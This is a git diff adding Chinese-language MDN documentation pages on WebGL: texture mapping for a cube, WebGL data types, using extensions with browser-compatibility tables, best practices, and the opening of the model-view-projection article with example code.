接下来为了真正地形成纹理,我们通过把新创建的纹理对象绑定到 gl.TEXTURE_2D 来让它成为当前操作纹理。然后通过调用 {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}} 把已经加载的图片图形数据写到纹理。

+ +
注意: 在多数情况下,纹理的宽和高都必须是2的幂(如:1,2,4,8,16等等)。如果有什么特殊情况请参考下面的“非2的幂纹理”小节。
+ +

代码的接下来两行设置了纹理过滤器,过滤器用来控制当图片缩放时像素如何生成如何插值。在这个例子里,我们对图片放大使用的是线性过滤,而对图片缩小使用的是多级渐进纹理过滤。接下来我们通过调用 {{domxref("WebGLRenderingContext.generateMipMap()", "generateMipMap()")}} 来生成多级渐进纹理,接着通过给 gl.TEXTURE_2D 绑定值 null 来告诉 WebGL 我们对当前纹理的操作已经结束了。

+ +

非2的幂纹理

+ +

一般来说,宽和高都是2的幂的纹理使用是最理想的。2的幂纹理在渲染内存里的存储更高效,而且对它们的使用限制也更少。由美术工作人员生成的纹理最终在用来渲染前都应该使用放大或缩小的方式把它生成为2的幂纹理,其实事实上来说,在创作纹理之初就应该直接使用大小是2的幂的宽和高。纹理的每一边都应该是像1,2,4,8,16,32,64,128,256,512,1024或2048这样的值。当然也要注意尺寸的大小,因为虽说现在的大部分设置都已经可以支持4096像素的图片,但也不是全部;而有一些设备甚至可以支持8192或更高像素呢。

+ +

有的时候从你的特定情况出发,使用2的幂纹理会比较困难。当使用到第三方的资源时,一般来说最好的方式就是先使用HTML5的画布把图片修正成2的幂然后再放到WebGL中进行渲染使用,这样一来,如果图片拉伸比较明显的话纹理坐标的值可需要适当地进行修正。

+ +

但是,如果你一定要使用非2的幂纹理的话,WebGL也有原生支持,不过这些支持是受限的。当然在某些情况下使用非2的幂纹理也是很有用的,比如这张纹理刚好与你的显示器的分辨率相匹配,或者使用画布重新生成纹理的方式并不值得时。但是要特别注意的是:这种非2的幂纹理不能用来生成多级渐进纹理,而且不能使用纹理重复(重复纹理寻址等)。

+ +

使用重复纹理寻址的一个例子就是使用一张砖块的纹理来平铺满一面墙壁。

+ +

多级渐进纹理和纹理坐标重复可以通过调用 {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}} 来禁用,当然首先你已经通过调用 {{domxref("WebGLRenderingContext.bindTexture()", "bindTexture()")}} 绑定过纹理了。这样虽然已经可以使用非2的幂纹理了,但是你将无法使用多级渐进纹理,纹理坐标包装,纹理坐标重复,而且无法控制设备如何处理你的纹理。

+ +
// gl.NEAREST is also allowed, instead of gl.LINEAR, as neither mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Prevents s-coordinate wrapping (repeating).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Prevents t-coordinate wrapping (repeating).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ +

现在,当使用以上参数时,兼容WebGL的设备就会自动变得可以使用任何分辨率的纹理(当然还要考虑像素上限)。如果不使用上面这些参数的话,任何非2的幂纹理使用都会失败然后返回一张纯黑图片。

+ +

映射纹理到面

+ +

现在,纹理已经加载好了,而且已经可以使用了。但是在使用之前我们还要创建好纹理坐标到立方体各个面的顶点的映射关系。下面的代码通过替换之前的设置每个面颜色的代码,当然还是在 initBuffers() 函数里。

+ +
cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+  // Front
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Back
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Top
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Bottom
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Right
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // Left
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+              gl.STATIC_DRAW);
+
+ +

首先,代码创建了一个GL缓存区,用来保存每个面的纹理坐标信息,然后把这个缓存区绑定到GL以方便我们写入数据。

+ +

数组变量 textureCoordinates 中定义好了与每个面上的每个顶点一一对应的纹理坐标。请注意,纹理坐标的取值范围只能从0.0到1.0,所以不论纹理贴图的实际大小是多少,为了实现纹理映射,我们要使用的纹理坐标只能规范化到0.0到1.0的范围内。

+ +

纹理坐标信息给定了之后,把这个数组里的数据都写到GL缓存区,这样GL就能使用这个坐标数据了。

+ +

更新着色器

+ +

为了使用纹理来代替单一的颜色,着色器程序和着色器程序的初始化代码都需要进行修改。

+ +

先让我们看一看需要加入函数 initShaders() 里的非常简单的改变:

+ +
textureCoordAttribute = gl.getAttribLocation(shaderProgram, "aTextureCoord");
+gl.enableVertexAttribArray(textureCoordAttribute);
+gl.vertexAttribPointer(texCoordAttribute, 2, gl.FLOAT, false, 0, 0);
+
+ +

这段代码中我们使用包含纹理坐标信息的属性替换之前使用的顶点颜色属性。

+ +

顶点着色器

+ +

接下来我们会修改顶点着色器代码,现在不再需要获取顶点颜色数据,而是获取纹理坐标数据。

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+  attribute vec2 aTextureCoord;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+  }
+</script>
+
+ +

代码的关键更改在于不再获取顶点颜色数据转而获取和设置纹理坐标数据;这样就能把顶点与其对应的纹理联系在一起了。

+ +

片段着色器

+ +

那么片段着色器也要相应地进行更改:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+  }
+</script>
+
+ +

现在的代码不会再使用一个简单的颜色值填充片段颜色,片段的颜色是通过采样器使用最好的映射方式从纹理中的每一个像素计算出来的。

+ +

绘制具体纹理贴图的立方体

+ +

接下来是对 drawScene() 函数的更改,为了使整体的代码看起来更简洁,我们去掉了让立方体位置变化的代码,现在它只会随着时间的变化进行旋转,而为了使用纹理,所要进行的代码更改确是很少的。

+ +

使用下面的代码代替映射颜色到纹理的代码:

+ +
gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+ +

GL 最多可同时注册32张纹理;gl.TEXTURE0 是第一张。我们把我们之前加载的纹理绑定到了第一个寄存器,然后着色器程序里的采样器 uSampler 就会完成它的功能:使用纹理。

+ +

好,现在我们的立方体就会像这样旋转起来了。

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}

+ +

查看完整示例代码 | 在新窗口里打开示例

+ +

关于跨域纹理

+ +

加载WebGL纹理应该也可以说是跨域访问控制里的一个话题。为了在我们的显示内容里使用其它域名里的纹理图片,允许跨域访问也是要考虑的。可以通过查看HTTP访问控制来获取到更多的相关细节。

+ +

这篇文章也对跨域加载纹理到WebGL做出了解释。而且文章里面还包含了一个使用的例子

+ +
+

注意:对跨域加载WebGL纹理的支持和对 image 元素的 crossOrigin 的属性的支持都是在 {{Gecko("8.0")}} 版本中实现的。

+
+ +

被污染过的(只写)画布是不能拿来当作WebGL纹理来使用的。举个例子来说,当把一张跨域的图片画到一个2D的 {{ HTMLElement("canvas") }} 中时,这个画布就是“被污染过的”。

+ +
+

注意: 对 Canvas 2D 的 drawImage 的跨域支持已经在 {{Gecko("9.0")}} 版本实现的。这就意味着使用支持跨域的图片来污染一个2D的画布,这张画布也已经可以作为WebGL的纹理来使用了。

+
+ +
+

注意: 视频对跨域的支持以及 {{ HTMLElement("video") }} 元素的 crossorigin 属性的支持是在 {{Gecko("12.0")}} 版本中实现的。

+
+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/zh-cn/web/api/webgl_api/types/index.html b/files/zh-cn/web/api/webgl_api/types/index.html new file mode 100644 index 0000000000..2ce6fac2bc --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/types/index.html @@ -0,0 +1,215 @@ +--- +title: WebGL types +slug: Web/API/WebGL_API/Types +translation_of: Web/API/WebGL_API/Types +--- +
{{WebGLSidebar}}
+ +

以下是WebGL提供的接口中用到的变量类型。

+ +

WebGL 1

+ +

以下类型的变量属于{{domxref("WebGLRenderingContext")}}对象。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
类型Web接口类型描述
GLenumunsigned long用于枚举。另见 constants
GLbooleanboolean{{jsxref("Boolean")}}型。
GLbitfieldunsigned long一个位字段(bit field),用于存储逻辑位(bit)。例如,在 {{domxref("WebGLRenderingContext.clear()")}}的使用。
GLbytebyte八位(一个字节),2的补码表示的有符号整数。
GLshortshort十六位2的补码表示的有符号整数。
GLintlong三十二位2的补码表示的有符号整数。
GLsizeilong用来描述尺寸(例如:绘画缓冲drawing buffer的宽和高)。
GLintptrlong long用来表示指针的特殊类型。
GLsizeiptrlong long用来表示指针的特殊类型。
GLubyteoctet八位(一个字节),2的补码表示的无符号整数。
GLushortunsigned short十六位2的补码表示的无符号整数。
GLuintunsigned long三十二位2的补码表示的有符号整数。
GLfloatunrestricted float三十二位的IEEE标准的浮点数。
GLclampfunrestricted float限值32位IEEE浮点数。
+ +

WebGL 2

+ +

以下类型的变量属于 {{domxref("WebGL2RenderingContext")}}. 所有WebGL 1中的类型也有使用。

+ + + + + + + + + + + + + + +
类型Web接口类型描述
GLint64long long六十四位有符号整数。
+ +

WebGL 扩展

+ +

以下类型用在 WebGL extensions中。

+ + + + + + + + + + + + + + +
类型Web接口类型描述
GLuint64EXTlong long六十四位无符号整数
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.1", "Types")}}{{Spec2('WebGL')}}初始定义
{{SpecName('WebGL2', "#3.1", "Types")}}{{Spec2('WebGL2')}}定义额外的类型.
{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}{{Spec2('EXT_disjoint_timer_query')}}添加GLuint64EXT
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/webgl_api/using_extensions/index.html b/files/zh-cn/web/api/webgl_api/using_extensions/index.html new file mode 100644 index 0000000000..bb2c0add23 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/using_extensions/index.html @@ -0,0 +1,578 @@ +--- +title: Using WebGL extensions +slug: Web/API/WebGL_API/Using_Extensions +tags: + - WebGL extensions +translation_of: Web/API/WebGL_API/Using_Extensions +--- +
{{WebGLSidebar}}
+ +

WebGL,像它的姐妹API (OpenGL and OpenGL ES),支持使用扩展(extensions)。一份完整的扩展列表可在 khronos webgl extension registry

+ +
Note: 不像别的 GL APIs, 在webGL中 , 扩展只有在明确需要的情况下才会加载。
+ +

规范扩展名,供应商前缀和首选项

+ +

扩展(extensions)在未被官方正式制定为标准前,某些浏览器厂商可能会支持WebGL扩展 (but only when they are in draft stage)。这样的话,扩展的名字应该加上相应的厂商前缀 (MOZ_, WEBKIT_, etc.),否则这个扩展只能在浏览器切换了偏好设置的前提下生效。

+ +

If you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name. For instance:

+ +
var ext = (
+  gl.getExtension('OES_vertex_array_object') ||
+  gl.getExtension('MOZ_OES_vertex_array_object') ||
+  gl.getExtension('WEBKIT_OES_vertex_array_object')
+);
+
+ +

Note that, vendor prefix have been discouraged more and more and thus most browser implement experimental extensions behind a feature flag rather than vendor prefix.

+ +

The feature flags are:

+ + + +

命名约定

+ +

WebGL extensions are prefixed with "ANGLE", "OES", "EXT" or "WEBGL". These prefixes reflect origin and intent:

+ + + +

查询可用的扩展程序

+ +

The WebGL context supports querying what extensions are available.

+ +
var available_extensions = gl.getSupportedExtensions();
+ +

The {{domxref("WebGLRenderingContext.getSupportedExtensions()")}} method returns an array of strings, one for each supported extension.

+ +

扩展列表

+ +

The current extensions are:

+ +

{{page("en-US/docs/Web/API/WebGL_API", "Extensions")}}

+ +

启用一个扩展

+ +

Before an extension can be used it has to be enabled using {{domxref("WebGLRenderingContext.getExtension()")}}. For example:

+ +
var float_texture_ext = gl.getExtension('OES_texture_float');
+ +

The return value is null if the extension is not supported, or an extension object otherwise.

+ +

扩展对象

+ +

If an extension defines specific symbols or functions that are not available in the core specification of WebGL, they will be available on the extension object returned by the call to gl.getExtension().

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("2.0")}}11125.1
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatGeckoDesktop("33.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatGeckoDesktop("34.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatGeckoDesktop("10.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatGeckoDesktop("6.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatGeckoDesktop("29.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_es3{{CompatUnknown}}{{CompatGeckoDesktop("46.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatGeckoDesktop("18.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatGeckoDesktop("30.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatGeckoDesktop("28.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatGeckoDesktop("22.0")}} [2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}25{{CompatGeckoMobile("2.0")}}{{CompatVersionUnknown}}128.0
ANGLE_instanced_arrays{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_blend_minmax{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Toggling the webgl.enable-draft-extensions preference in about:config is required.

+ +

[2] This extension was prefixed with MOZ_ in prior versions.

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/webgl_api/webgl_best_practices/index.html b/files/zh-cn/web/api/webgl_api/webgl_best_practices/index.html new file mode 100644 index 0000000000..65072d91a0 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/webgl_best_practices/index.html @@ -0,0 +1,48 @@ +--- +title: WebGL best practices +slug: Web/API/WebGL_API/WebGL_best_practices +tags: + - WebGL best practices +translation_of: Web/API/WebGL_API/WebGL_best_practices +--- +

{{WebGLSidebar}}

+ +

WebGL是一个复杂的API,通常我们不能明显的知道它的推荐使用方式。该页面涵盖了各种专业知识的建议,不仅仅是列举出什么该做,什么不该做,还有详细的解释为什么要这样做。你可以将本文档作为指导你选择的方法,确保你无论在何种浏览器以及硬件上都使用了正确的技巧。

+ +

需要避免的事情

+ + + +

需要记住的事情

+ + + +

一般性能提示

+ + diff --git a/files/zh-cn/web/api/webgl_api/webgl_model_view_projection/index.html b/files/zh-cn/web/api/webgl_api/webgl_model_view_projection/index.html new file mode 100644 index 0000000000..20804af827 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/webgl_model_view_projection/index.html @@ -0,0 +1,690 @@ +--- +title: WebGL model view projection +slug: Web/API/WebGL_API/WebGL_model_view_projection +translation_of: Web/API/WebGL_API/WebGL_model_view_projection +--- +

{{WebGLSidebar}}

+ +

本文探讨如何在WebGL项目中获取数据,并将其投影到适当的空间以在屏幕上显示。 它假定了你具备用于平移,缩放和旋转的基本矩阵数学知识。它解释了组成3D场景时通常使用的三个核心矩阵:模型,视图和投影矩阵。

+ +
+

注意: 本文还可作为 MDN 内容套件 提供。它还使用 MDN全局对象下可用的 实用函数 集合。

+
+ +

模型、视图、投影矩阵

+ +

WebGL空间中的点和多边形的个体转化由基本的转换矩阵(例如平移,缩放和旋转)处理。可以将这些矩阵组合在一起并以特殊方式分组,以使其用于渲染复杂的3D场景。这些组合成的矩阵最终将原始数据类型移动到一个称为裁剪空间的特殊坐标空间中。这是一个中心点位于(0, 0, 0),角落范围在 (-1, -1, -1) 到 (1, 1, 1) 之间,2个单位宽的立方体。该剪裁空间被压缩到一个二维空间并栅格化为图像。

+ +

下面讨论的第一个矩阵是模型矩阵,它定义了如何获取原始模型数据并将其在3D世界空间中移动。投影矩阵用于将世界空间坐标转换为剪裁空间坐标。常用的投影矩阵(透视矩阵)用于模拟充当3D虚拟世界中观看者的替身的典型相机的效果。视图矩阵负责移动场景中的对象以模拟相机位置的变化,改变观察者当前能够看到的内容。

+ +

以下的几个部分提供了对模型,视图和投影矩阵背后的思想及实现的深入理解。这些矩阵是在屏幕上移动数据的核心,是胜过各个框架和引擎的概念。

+ +

裁剪空间

+ +

在WebGL程序中,数据通常上传到具有自己的坐标系统的GPU上,然后顶点着色器将这些点转换到一个称为裁剪空间的特殊坐标系上。延展到裁剪空间之外的任何数据都会被剪裁并且不会被渲染。如果一个三角形超出了该空间的边界,则将其裁切成新的三角形,并且仅保留新三角形在裁剪空间中的部分。

+ +

A 3d graph showing clip space in WebGL.

+ +

上面的图像裁剪空间的可视化,所有点都必须被包含在其中。它是一个角在(-1, -1, -1),对角在 (1, 1, 1),中心点在 (0, 0, 0) 的每边2个单位的立方体。裁剪空间使用的这个两个立方米坐标系称为归一化设备坐标(NDC)。在研究和使用WebGL代码时,你可能时不时的会使用这个术语。

+ +

在本节中,我们将直接将数据放入裁剪空间坐标系中。通常使用位于任意坐标系中的模型数据,然后使用矩阵进行转换,将模型坐标转换为裁剪空间系下的坐标。这个例子,通过简单地使用从 (-1,-1,-1) 到 (1,1,1) 的模型坐标值来说明剪辑空间的工作方式是最简单的。下面的代码将创建2个三角形,这些三角形将在屏幕上绘制一个正方形。正方形中的Z深度确定当前正方形共享同一个空间时在顶部绘制的内容,较小的Z值将呈现在较大的Z值之上。

+ +

WebGLBox 例子

+ +

本示例将创建一个自定义WebGL对象,该对象将在屏幕上绘制一个2D框。

+ +
+

注意: 每一个WebGL示例代码在此 github repo 中可找到,并按章节组织。此外,每个章节底部都有一个 JSFiddle 链接。

+
+ +

WebGLBox Constructor

+ +

构造函数看起来像这样:

+ +
function WebGLBox() {
+
+  // 设置 canvas 和 WebGL 上下文
+  this.canvas = document.getElementById('canvas');
+  this.canvas.width = window.innerWidth;
+  this.canvas.height = window.innerHeight;
+  this.gl = MDN.createContext(canvas);
+
+  var gl = this.gl;
+
+  // 设置一个WebGL程序,任何MDN对象相关的部分在本文之外定义
+  this.webglProgram = MDN.createWebGLProgramFromIds(gl, 'vertex-shader', 'fragment-shader');
+  gl.useProgram(this.webglProgram);
+
+  // 保存 attribute 和 uniform 位置
+  this.positionLocation = gl.getAttribLocation(this.webglProgram, 'position');
+  this.colorLocation = gl.getUniformLocation(this.webglProgram, 'color');
+
+  // 告诉WebGL在绘制时测试深度,所以如果一个正方形后面有另一个正方形
+  // 另一个正方形不会被绘制
+  gl.enable(gl.DEPTH_TEST);
+
+}
+
+ +

WebGLBox 绘制

+ +

现在,我们将创建一个在屏幕上绘制框的方法。

+ +
WebGLBox.prototype.draw = function(settings) {
+
+  // 创建一下 attribute 数据; 这些是最终绘制到屏幕上的三角形
+  // 有两个形成一个正方形
+
+  var data = new Float32Array([
+
+    //Triangle 1
+    settings.left,  settings.bottom, settings.depth,
+    settings.right, settings.bottom, settings.depth,
+    settings.left,  settings.top,    settings.depth,
+
+    //Triangle 2
+    settings.left,  settings.top,    settings.depth,
+    settings.right, settings.bottom, settings.depth,
+    settings.right, settings.top,    settings.depth
+  ]);
+
+  // 使用 WebGL 将其绘制到屏幕上
+
+  // 性能要点:为每个绘制创建新的缓冲器很慢
+  // 这个方法仅用于说明
+
+  var gl = this.gl;
+
+  // 创建一个缓冲区并绑定数据
+  var buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
+
+  // 设置指向 attribute 数据的指针(三角形)
+  gl.enableVertexAttribArray(this.positionLocation);
+  gl.vertexAttribPointer(this.positionLocation, 3, gl.FLOAT, false, 0, 0);
+
+  // 设置将在所有三角形之间共享的 color uniform
+  gl.uniform4fv(this.colorLocation, settings.color);
+
+  // 在屏幕上绘制该三角形
+  gl.drawArrays(gl.TRIANGLES, 0, 6);
+}
+
+ +

